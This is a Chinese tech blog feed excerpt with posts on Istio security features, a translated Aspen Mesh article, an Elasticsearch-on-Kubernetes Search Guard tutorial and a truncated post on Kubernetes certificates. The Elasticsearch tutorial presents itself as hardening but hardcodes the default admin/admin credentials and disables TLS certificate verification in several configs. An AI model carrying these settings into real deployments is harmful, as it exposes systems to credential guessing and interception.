&lt;p&gt;&lt;a href=&#34;https://istio.io/&#34; target=&#34;_blank&#34;&gt;Istio&lt;/a&gt; 为网格中的微服务提供了较为完善的安全加固功能，在不影响代码的前提下，可以从多个角度提供安全支撑，&lt;a href=&#34;https://istio.io/docs/tasks/security/&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;做了较为详细的介绍，但是也比较破碎，这里尝试做个简介兼索引，实现过程还是要根据官方文档进行。&lt;/p&gt;

&lt;p&gt;Istio 的安全功能主要分为三个部分的实现：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;双向 TLS 支持。&lt;/li&gt;
&lt;li&gt;基于黑白名单的访问控制。&lt;/li&gt;
&lt;li&gt;基于角色的访问控制。&lt;/li&gt;
&lt;li&gt;JWT 认证支持。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;首先回顾一下 Istio 网格中的服务通信过程：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;利用自动或者手工注入，把 Envoy Proxy 注入到每个服务 Pod 中，用 Sidecar 的方式运行。&lt;/li&gt;
&lt;li&gt;Pod 初始化过程里，使用 iptables 劫持所在 Pod 的&lt;strong&gt;出入&lt;/strong&gt;流量。&lt;/li&gt;
&lt;li&gt;服务间的通信，从原来的直接通信，转换为现在的 Envoy 之间通信，Envoy 在这里同时作为客户端和服务端负载均衡组件。&lt;/li&gt;
&lt;li&gt;Envoy 的工作过程中，可能会和 Mixer、Pilot 以及 Citadel 等组件发生互动。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;双向-tls-支持&#34;&gt;双向 TLS 支持&lt;/h2&gt;

&lt;p&gt;双向 TLS 支持主要针对的是通信方面，把明文传输的服务通信，通过转换为 Envoy 之间的加密通信。这一安全设置较为基础，可以在全局、Namespace 或者单个服务的范围内生效。&lt;/p&gt;

&lt;p&gt;这一功能主要通过两个 Istio CRD 对象来完成：&lt;/p&gt;

&lt;h3 id=&#34;policy&#34;&gt;Policy&lt;/h3&gt;

&lt;p&gt;例如 &lt;a href=&#34;https://istio.io/docs/tasks/security/authn-policy/&#34; target=&#34;_blank&#34;&gt;Basic Authentication Policy&lt;/a&gt; 中的一个样例，用于给单个服务设置 mtls：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: &amp;quot;authentication.istio.io/v1alpha1&amp;quot;
kind: &amp;quot;Policy&amp;quot;
metadata:
  name: &amp;quot;example-2&amp;quot;
spec:
  targets:
  - name: httpbin
  peers:
  - mtls:
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其中 &lt;code&gt;target&lt;/code&gt; 是可选项，如果去掉的话，作用域将扩展到整个 Namespace。&lt;/p&gt;

&lt;h3 id=&#34;destinationrule&#34;&gt;DestinationRule&lt;/h3&gt;

&lt;p&gt;同样的一个例子里面的目标规则如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: &amp;quot;networking.istio.io/v1alpha3&amp;quot;
kind: &amp;quot;DestinationRule&amp;quot;
metadata:
  name: &amp;quot;example-2&amp;quot;
spec:
  host: httpbin.bar.svc.cluster.local
  trafficPolicy:
    tls:
      mode: DISABLE
    portLevelSettings:
    - port:
        number: 1234
      tls:
        mode: ISTIO_MUTUAL
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个也很容易理解，这一规则用于指派对该地址的访问方式：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;tls.mode = DISABLE&lt;/code&gt;，这个服务缺省是不开启 tls 支持的，如果取值 &lt;code&gt;ISTIO_MUTUAL&lt;/code&gt;，则代表这个地址（服务）的所有端口都开启 TLS。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;port...ISTIO_MUTUAL&lt;/code&gt;，只针对这一个端口启用 mTLS 支持。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;创建 Policy 之后，Citadel 会生成证书文件，并传递给 Envoy，我们可以在 Envoy 容器（kube-proxy）的 &lt;code&gt;/etc/certs/&lt;/code&gt; 目录中看到这几个 &lt;code&gt;*.pem&lt;/code&gt; 文件。如果使用 &lt;code&gt;openssl x509 -text -noout&lt;/code&gt; 查看 &lt;code&gt;cert-chain.pem&lt;/code&gt; 的证书内容，会看到 spiffe 编码的 ServiceAccount 内容来作为 SAN：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt; X509v3 Subject Alternative Name:
            URI:spiffe://cluster.local/ns/default/sa/default
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;规则生效之后，原有的服务间调用是没有差异的，但是如果在网格之外，就必须 https，结合上面谈到的证书来访问目标服务才能完成访问。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;另外这里也提供了&lt;a href=&#34;https://istio.io/docs/tasks/security/plugin-ca-cert/&#34; target=&#34;_blank&#34;&gt;外部 CA 的支持&lt;/a&gt;，可以使用已有的证书体系来替换网格内的自签发体系。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;基于黑白名单的访问控制&#34;&gt;基于黑白名单的访问控制&lt;/h2&gt;

&lt;h3 id=&#34;黑名单&#34;&gt;黑名单&lt;/h3&gt;

&lt;p&gt;下面的例子来自&lt;a href=&#34;https://raw.githubusercontent.com/istio/istio/release-0.8/samples/bookinfo/kube/mixer-rule-deny-label.yaml&#34; target=&#34;_blank&#34;&gt;官方&lt;/a&gt;，禁止 Reviews 的 v3 版本访问 Ratings 服务。&lt;/p&gt;

&lt;p&gt;首先使用 &lt;code&gt;denier&lt;/code&gt; 适配器定义一个拒绝响应&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: denier
metadata:
  name: denyreviewsv3handler
spec:
  status:
    code: 7
    message: Not allowed
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里不需要额外属性输入，因此采用了 &lt;code&gt;checknothing&lt;/code&gt; 模板：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: checknothing
metadata:
  name: denyreviewsv3request
spec:
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最后使用 &lt;code&gt;rule&lt;/code&gt; 对象把这两者联系起来，并配合一个表达式来使之生效：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: rule
metadata:
  name: denyreviewsv3
spec:
  match: destination.labels[&amp;quot;app&amp;quot;] == &amp;quot;ratings&amp;quot; &amp;amp;&amp;amp; source.labels[&amp;quot;app&amp;quot;]==&amp;quot;reviews&amp;quot; &amp;amp;&amp;amp; source.labels[&amp;quot;version&amp;quot;] == &amp;quot;v3&amp;quot;
  actions:
  - handler: denyreviewsv3handler.denier
    instances: [ denyreviewsv3request.checknothing ]
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;白名单&#34;&gt;白名单&lt;/h3&gt;

&lt;p&gt;官方案例设置了一个允许 &lt;code&gt;v2&lt;/code&gt; 和 &lt;code&gt;v3&lt;/code&gt; 版本访问 &lt;code&gt;ratings&lt;/code&gt; 服务的白名单。&lt;/p&gt;

&lt;p&gt;白名单适配器要使用的是 &lt;code&gt;listchecker&lt;/code&gt;，提供了一个允许访问的数组。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: listchecker
metadata:
  name: whitelist
spec:
  # providerUrl: 可以从外部 URL 获取列表内容
  overrides: [&amp;quot;v1&amp;quot;, &amp;quot;v2&amp;quot;]  # 静态列表
  blacklist: false
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;需要使用一个模板将 Pod 标签转换为 &lt;code&gt;listchecker&lt;/code&gt; 的版本列表。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: listentry
metadata:
  name: appversion
spec:
  value: source.labels[&amp;quot;version&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最后使用 Rule 进行连接：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: rule
metadata:
  name: checkversion
spec:
  match: destination.labels[&amp;quot;app&amp;quot;] == &amp;quot;ratings&amp;quot;
  actions:
  - handler: whitelist.listchecker
    instances:
    - appversion.listentry
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：如果开启了 mTLS，可以使用 &lt;code&gt;source.user == &amp;quot;cluster.local/ns/default/sa/bookinfo-productpage&amp;quot;&lt;/code&gt; 的形式来匹配 ServiceAccount。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;rbac&#34;&gt;RBAC&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Helm 安装时，需要设置 &lt;code&gt;global.rbacEnabled: true&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;RBAC 提供较细粒度的访问控制。另外其中所使用的 &lt;code&gt;ServiceRole&lt;/code&gt; 和 &lt;code&gt;ServiceRoleBinding&lt;/code&gt; 也更直观、更加易于管理。&lt;/p&gt;

&lt;p&gt;例如来自&lt;a href=&#34;https://istio.io/docs/tasks/security/role-based-access-control/&#34; target=&#34;_blank&#34;&gt;官方 Task&lt;/a&gt; 的 &lt;code&gt;ServiceRole&lt;/code&gt; 定义，这个角色允许对指定服务进行只读访问：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: ServiceRole
metadata:
  name: productpage-viewer
  namespace: default
spec:
  rules:
  - services: [&amp;quot;productpage.default.svc.cluster.local&amp;quot;]
    methods: [&amp;quot;GET&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果在 Namespace 级别进行设置，则可以这样：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
  rules:
  - services: [&amp;quot;*&amp;quot;]
    methods: [&amp;quot;GET&amp;quot;]
    constraints:
    - key: &amp;quot;app&amp;quot;
      values: [&amp;quot;productpage&amp;quot;]
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;和 Kubernetes 的 Rolebinding 类似，把用户和角色绑定起来，才能最后生效。&lt;/p&gt;

&lt;p&gt;例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  - user: alice@yahoo.com
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;或者&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  - properties:
      service: &amp;quot;reviews&amp;quot;
      namespace: &amp;quot;abc&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;subject&lt;/code&gt; 的内容，同样属于 Adapter 模型的实现范围，因此其可选项目仍然是由 Template 的输入产生的。具体样例可以参考 &lt;a href=&#34;https://github.com/istio/istio/blob/release-0.8/samples/bookinfo/kube/istio-rbac-enable.yaml&#34; target=&#34;_blank&#34;&gt;bookinfo 的 rbac 样板&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;jwt-认证&#34;&gt;JWT 认证&lt;/h2&gt;

&lt;p&gt;没有外部认证的需求，因此就先不理了 lol。&lt;/p&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接：&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;安全任务：&lt;code&gt;https://istio.io/docs/tasks/security&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Istio RBAC 参考：&lt;code&gt;https://istio.io/docs/reference/config/istio.rbac.v1alpha1/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Istio Adapters 参考：&lt;code&gt;https://istio.io/docs/reference/config/policy-and-telemetry/adapters/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Bookinfo 示例：&lt;code&gt;https://github.com/istio/istio/blob/release-0.8/samples/bookinfo/kube/&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Service Mesh 安全：用 Istio 应对攻击</title>
      <link>/post/service-mesh-security-addressing-attack-vectors-with-istio/</link>
      <pubDate>Thu, 07 Jun 2018 10:10:21 +0800</pubDate>
      <guid>/post/service-mesh-security-addressing-attack-vectors-with-istio/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://aspenmesh.io/2018/06/service-mesh-security-addressing-attack-vectors-with-istio/&#34; target=&#34;_blank&#34;&gt;Service Mesh Security: Addressing Attack Vectors with Istio&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者： &lt;strong&gt;Zach Jory&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;把单体应用拆分为微服务之后，会得到不少好处，例如稳定性的提高、持续运行时间的增长以及更好的故障隔离等。然而把大应用拆分为小服务的过程中，也会引入一个风险就是——可能的受攻击面积变大了。从前单体应用中通过函数调用完成的通信，现在都要通过网络完成。提高安全性从而避免这个问题带来的安全影响，是微服务之路上必须要着重考虑的问题。&lt;/p&gt;

&lt;p&gt;Aspen Mesh 的基础是一个开源软件：&lt;a href=&#34;https://istio.io/&#34; target=&#34;_blank&#34;&gt;Istio&lt;/a&gt;，他的关键能力之一就是为微服务提供安全性和策略控制方面的支持。Istio 为 Service Mesh 增加了很多安全特性，但是这并不是说微服务的安全工作就结束了。网络安全策略也是需要着重考虑的问题（推荐阅读：&lt;a href=&#34;https://medium.com/lightspeed-venture-partners/in-the-land-of-microservices-the-network-is-the-king-maker-37de7ec4119a&#34; target=&#34;_blank&#34;&gt;In the land of microservices, the network is the king(maker)&lt;/a&gt;），结合网络策略，可以检测和应对针对服务网格基础设施的攻击，从而解决各种安全威胁。&lt;/p&gt;

&lt;p&gt;后面的内容将会看看 Istio 所能够解决的问题，其中包含边缘通信的流量控制、网格内通信加密以及 7 层策略控制等。&lt;/p&gt;

&lt;h2 id=&#34;边缘通信安全&#34;&gt;边缘通信安全&lt;/h2&gt;

&lt;p&gt;针对不当进入网格的流量，Istio 加入了一个用来进行监控和防范的安全层。Istio 以 Ingress Controller 的形式和 Kubernetes 进行了集成，并完成了 Ingress 的负载均衡任务。用户可以用 Ingress Rule 的方式加入安全控制。可以通过监控来了解进入网格的流量，并通过路由规则来管理非法的边缘通信。&lt;/p&gt;

&lt;p&gt;要保证只有认证用户通过，Istio 的 RBAC（基于角色的访问控制）提供了有弹性的、可定制的访问控制，这种能力在网格内提供了 namespace、service 以及服务方法一级的控制能力。RBAC 引擎监控和跟进 RBAC 策略的变更，在运行时根据 RBAC 策略，根据请求的上下文对请求进行鉴权，最后返回鉴权结果。&lt;/p&gt;

&lt;h2 id=&#34;通信加密&#34;&gt;通信加密&lt;/h2&gt;

&lt;p&gt;边缘通信的安全是个好的开始，但是如果有恶意份子突破了边缘之后，Istio 还为服务之间的通信提供了双向 TLS 认证能力。网格能够对请求和响应进行自动的加密和解密，开发人员就无需在此投入精力了。这个功能还通过对连接的优先复用，减少了连接过程中的运算消耗。&lt;/p&gt;

&lt;p&gt;除了客户端和服务器之间的认证和鉴权能力之外，还让用户能够理解和管理服务间的通信和加密。Istio 把证书和密钥自动分发给服务，代理使用这些输入来给流量进行加密（提供双向 TLS），并周期性的进行证书轮转，从而降低证书暴露造成的威胁。可以利用 TLS 来确认 Istio 中的通信双方的服务实例都是合法的，从而防止中间人攻击。&lt;/p&gt;

&lt;p&gt;Istio 使用 Citadel 来进行密钥管理和认证控制，简化了 TLS 过程。他让用户能够保护流量，同时给每个服务提供基于身份的验证和授权功能。&lt;/p&gt;

&lt;h2 id=&#34;策略控制和执行&#34;&gt;策略控制和执行&lt;/h2&gt;

&lt;p&gt;Istio 给用户在应用级执行策略的能力。对于服务路由、重试、断路以及安全来说，在这一层进行控制是非常恰当的。Istio 为用户提供了黑白名单功能来来对服务进行准入的控制。&lt;/p&gt;

&lt;p&gt;Istio Mixer 可以把扩展集成进系统，用户用标准化的表达式语言来来声明网络以及服务行为方面的约束策略。这样做的好处是，可以用通用 API 在服务边缘来缓存策略的决策结果，如果下游的策略系统出现故障，网络还能保持运行。&lt;/p&gt;

&lt;p&gt;Istio 解决了一些微服务特定的关键问题。例如只允许被批准的服务间通信，加密通信防止通信过程中的入侵，执行应用范围内的策略等。当然还有很多其他方式可以实现这些能力，Mesh 的好处在于将这些能力融会贯通，让用户使用一致的稳定的方式来完成这些任务。&lt;/p&gt;

&lt;p&gt;Aspen Mesh 中正在做一些新的功能，在 Istio 中为用户提供更好的安全能力。近期我们会在博客上发点东西，所以请关注 &lt;a href=&#34;https://aspenmesh.io/blog/&#34; target=&#34;_blank&#34;&gt;Aspen Mesh 博客&lt;/a&gt;。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>K8S 上 Elastic Search 集群的通信加密、认证和清理</title>
      <link>/post/es-on-k8s-auth-cleanup/</link>
      <pubDate>Fri, 03 Nov 2017 04:49:29 +0800</pubDate>
      <guid>/post/es-on-k8s-auth-cleanup/</guid>
      <description>

&lt;p&gt;Kubernetes 的 Release 文件包中，一直包含了使用 Elastic Search 方案进行日志处理的简单例子，
这个例子非常简陋外加版本较旧，处于“能用”的状态而已。&lt;/p&gt;

&lt;p&gt;而近期的版本中这一情况发生了变化，原来的 &lt;code&gt;elasticsearch&lt;/code&gt; 中新增了一个子目录：
&lt;code&gt;production_cluster&lt;/code&gt;，&lt;code&gt;README.md&lt;/code&gt;中的介绍是：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A more robust example that follows Elasticsearch best-practices of separating nodes concern is also available.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;这个听起来就厉害了，关键字：robuts，best-practice。&lt;/p&gt;

&lt;p&gt;顺藤摸瓜找到了作者的 github 地址：&lt;code&gt;https://github.com/pires/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;这一集群的特点是：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;ES 集群分为 Master/Client/Data 三组，各司其职，各自可以设置自己的资源使用，参数配置等。&lt;/li&gt;
&lt;li&gt;提供了 StatefulSet 形式的数据节点，便于数据持久化的支持。&lt;/li&gt;
&lt;li&gt;采用 Curator 的 CronJob，用于数据的清理。&lt;/li&gt;
&lt;li&gt;自定义的 Elastic Search 镜像。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这一些功能自然是极好的，然而因为 X-Pack 的授权问题，使得两个重要的功能： https 通信和认证落了空，还好发现了一个替代方案：&lt;a href=&#34;https://github.com/floragunncom/search-guard&#34; target=&#34;_blank&#34;&gt;Search Guard&lt;/a&gt;，
简单说来，这一方案提供了免费的认证和 https 通信方案，并且提供了更多的商业支持特性。具体能力范围可以参看官网，下面基于 Pries 的 ES 5.6.3 版本，来把假设在 Kubernetes 集群上的 ES 集群进行加固。&lt;/p&gt;

&lt;h2 id=&#34;环境准备&#34;&gt;环境准备&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Kubernetes 集群：1.7.x

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;kube-apiserver&lt;/code&gt;启动参数中加入&lt;code&gt;--runtime-config=batch/v2alpha1=true&lt;/code&gt;用于支持后面的 CronJob 对象&lt;/li&gt;
&lt;li&gt;集群存储，用于满足 PVC 需求（可选）&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Docker：用于自定义镜像的构建&lt;/li&gt;
&lt;li&gt;源代码：

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/pires/kubernetes-elasticsearch-cluster&#34; target=&#34;_blank&#34;&gt;https://github.com/pires/kubernetes-elasticsearch-cluster&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/fluent/fluentd-kubernetes-daemonset.git&#34; target=&#34;_blank&#34;&gt;https://github.com/fluent/fluentd-kubernetes-daemonset.git&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;镜像的构建&#34;&gt;镜像的构建&lt;/h2&gt;

&lt;p&gt;Search Guard 的安装分为插件安装、初始化和集群设置三个步骤，Pries 镜像中推荐的插件安装方式仅能完成第一步骤，因此这里做一些定制，将前两个步骤在镜像中直接完成。&lt;/p&gt;

&lt;p&gt;这里我们使用 Pries 镜像为基础：&lt;/p&gt;

&lt;h3 id=&#34;dockerfile&#34;&gt;Dockerfile&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM quay.io/pires/docker-elasticsearch-kubernetes:5.6.3
COPY prepare.sh /tmp
RUN sh /tmp/prepare.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;prepare-sh&#34;&gt;prepare.sh&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/sh
set -xe
export NODE_NAME=&amp;quot;MASTER&amp;quot; # 占位符
# 插件安装
bin/elasticsearch-plugin install -b com.floragunn:search-guard-5:5.6.3-16

# 初始化
chmod a+x plugins/search-guard-5/tools/install_demo_configuration.sh
plugins/search-guard-5/tools/install_demo_configuration.sh -y

# 清理不必要的配置
sed -i  &#39;s/network.host.*0$//&#39; config/elasticsearch.yml
sed -i  &#39;s/cluster.name.*demo$//&#39; config/elasticsearch.yml
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;运行-es-集群&#34;&gt;运行 ES 集群&lt;/h2&gt;

&lt;p&gt;运行集群之前，注意三处需要修改：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;镜像名称。&lt;/li&gt;

&lt;li&gt;&lt;p&gt;环境变量加入：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- name: &amp;quot;NETWORK_HOST&amp;quot;
value: &amp;quot;_eth0_&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;因为 Search Guard 的加入，Client 的可用检测是失效的，因此需要删除。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;kubectl apply -f es-discovery-svc.yaml
kubectl apply -f es-svc.yaml
kubectl apply -f es-master.yaml
kubectl apply -f es-client.yaml
kubectl apply -f es-data.yaml
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;集群启动之后会处于不可用状态，需要进行 Search guard 设置，使用 kubectl 命令进入任意一个 Master 节点的 Shell，编辑如下文件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/bash
/elasticsearch/plugins/search-guard-5/tools/sgadmin.sh \
-cd /elasticsearch/plugins/search-guard-5/sgconfig \
-ks /elasticsearch/config/kirk.jks  -arc \
-ts /elasticsearch/config/truststore.jks -nhnv -icl \
-h 172.200.62.7
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-icl&lt;/code&gt; 参数用于禁止证书 CN 的检查。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-h&lt;/code&gt; 指定该 Pod 的地址。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-arc&lt;/code&gt; 接受状态为 RED 的集群操作。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这样就完成了 ES 集群的初始化设置，并且开始运行。
这时我们如果访问其服务，例如：&lt;code&gt;https://node.port:9200&lt;/code&gt;，如果弹出安全警告，在选择不检查证书之后，会弹出验证窗口，输入预置的：&lt;code&gt;admin/admin&lt;/code&gt; 就能看到正常的 API 页面了。&lt;/p&gt;

&lt;h2 id=&#34;fluentd&#34;&gt;Fluentd&lt;/h2&gt;

&lt;p&gt;因为我们的 Fluentd 需要访问 https 协议的有认证要求的 ES 集群，所以这里使用 ConfigMap 的方式，为 Fluentd 加载修改好的配置文件。&lt;/p&gt;

&lt;p&gt;首先使用 &lt;code&gt;docker cp&lt;/code&gt; 命令，或者直接从源码中获取 fluent.conf 和 kubernetes.conf 两个文件。&lt;/p&gt;

&lt;p&gt;在 fluent.conf 的 es 配置中加入 &lt;code&gt;ssl_verify false&lt;/code&gt; 一行。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;--from-file&lt;/code&gt; 开关将上文中的两个配置文件加入 ConfigMap。&lt;/p&gt;

&lt;p&gt;修改 DaemonSet 的源码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
# 接入配置
- name: FLUENT_ELASTICSEARCH_SCHEME
  value: &amp;quot;https&amp;quot;
- name: FLUENT_ELASTICSEARCH_USER
  value: &amp;quot;admin&amp;quot;
- name: FLUENT_ELASTICSEARCH_PASSWORD
  value: &amp;quot;admin&amp;quot;
...
# 配置文件

volumeMounts:
...
- name: etc
  mountPath: /fluentd/etc
terminationGracePeriodSeconds: 30
volumes:
...
- name: etc
configMap:
  name: fluentd-config
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样，Fluentd 就能成功连接 es 并发送日志了。&lt;/p&gt;

&lt;h2 id=&#34;kibana&#34;&gt;Kibana&lt;/h2&gt;

&lt;p&gt;和 Fluentd 的情况类似，也需要创建他的配置文件，并在 kibana.yml 原有内容基础上增加几行：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;elasticsearch.username: &amp;quot;admin&amp;quot;
elasticsearch.password: &amp;quot;admin&amp;quot;
elasticsearch.ssl.verificationMode: none
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;另外在他的 Deployment 描述中，需要将 ES 集群接口地址改为 https 协议。&lt;/p&gt;

&lt;p&gt;启用后，打开 Kibana 页面，就会弹出认证要求。&lt;/p&gt;

&lt;h2 id=&#34;curator&#34;&gt;Curator&lt;/h2&gt;

&lt;p&gt;编辑 es-curator-config.yml，修改：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;use_ssl: True
ssl_no_validate: True
http_auth: admin:admin
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后创建 ConfigMap 和 Cronjob 对象即可。&lt;/p&gt;

&lt;h2 id=&#34;补充&#34;&gt;补充&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;sgadmin 及其配置有着相当丰富的功能，例如用户和角色的管理等。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;证书也是可以使用合法证书进行替代的，不一定需要使用自这个过程中生成的自签名证书。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 的证书认证</title>
      <link>/post/certs-in-kubernetes/</link>
      <pubDate>Wed, 16 Aug 2017 04:28:26 +0800</pubDate>
      <guid>/post/certs-in-kubernetes/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://jvns.ca/blog/2017/08/05/how-kubernetes-certificates-work/&#34; target=&#34;_blank&#34;&gt;How Kubernetes certificate authorities work&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;今天让我们聊聊 Kubernetes 的公私钥和证书认证。&lt;/p&gt;

&lt;p&gt;本文内容会提及如何根据需要对 CA、公私钥进行组织并对集群进行设置。&lt;/p&gt;

&lt;p&gt;Kubernetes 的组件中有很多不同的地方可以放置证书之类的东西。在进行集群安装的时候，我感觉有一百多亿个不同的命令参数是用来设置证书、密钥的，真不明白是怎么弄到一起工作的。&lt;/p&gt;

&lt;p&gt;当然了，没有一百亿那么多的参数，不过的确很多的。比如 API Server 的参数吧，有大概 16 个参数是跟这些东西有关的（下面是节选）：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;--cert-dir string                           The directory where the TLS certs are located. If --tls-cert-file and --tls-private-key-file are provided, this flag will be ignored. (default &amp;quot;/var/run/kubernetes&amp;quot;)
--client-ca-file string                     If set, any request presenting a client certificate signed by one of the authorities in the client-ca-file is authenticated with an identity corresponding to the CommonName of the client certificate.
--etcd-certfile string                      SSL certification file used to secure etcd communication.
--etcd-keyfile string                       SSL key file used to secure etcd communication.
--kubelet-certificate-authority string      Path to a cert file for the certificate authority.
--kubelet-client-certificate string         Path to a client cert file for TLS.
--kubelet-client-key string                 Path to a client key file for TLS.
--proxy-client-cert-file string             Client certificate used to prove the identity of the aggregator or kube-apiserver when it must call out during a request. This includes proxying requests to a user api-server and calling out to webhook admission plugins. It is expected that this cert includes a signature from the CA in the --requestheader-client-ca-file flag. That CA is published in the &#39;extension-apiserver-authentication&#39; configmap in the kube-system namespace. Components recieving calls from kube-aggregator should use that CA to perform their half of the mutual TLS verification.
--proxy-client-key-file string              Private key for the client certificate used to prove the identity of the aggregator or kube-apiserver when it must call out during a request. This includes proxying requests to a user api-server and calling out to webhook admission plugins.
--requestheader-allowed-names stringSlice   List of client certificate common names to allow to provide usernames in headers specified by --requestheader-username-headers. If empty, any client certificate validated by the authorities in --requestheader-client-ca-file is allowed.
--requestheader-client-ca-file string       Root certificate bundle to use to verify client certificates on incoming requests before trusting usernames in headers specified by --requestheader-username-headers
--service-account-key-file stringArray      File containing PEM-encoded x509 RSA or ECDSA private or public keys, used to verify ServiceAccount tokens. If unspecified, --tls-private-key-file is used. The specified file can contain multiple keys, and the flag can be specified multiple times with different files.
--ssh-keyfile string                        If non-empty, use secure SSH proxy to the nodes, using this user keyfile
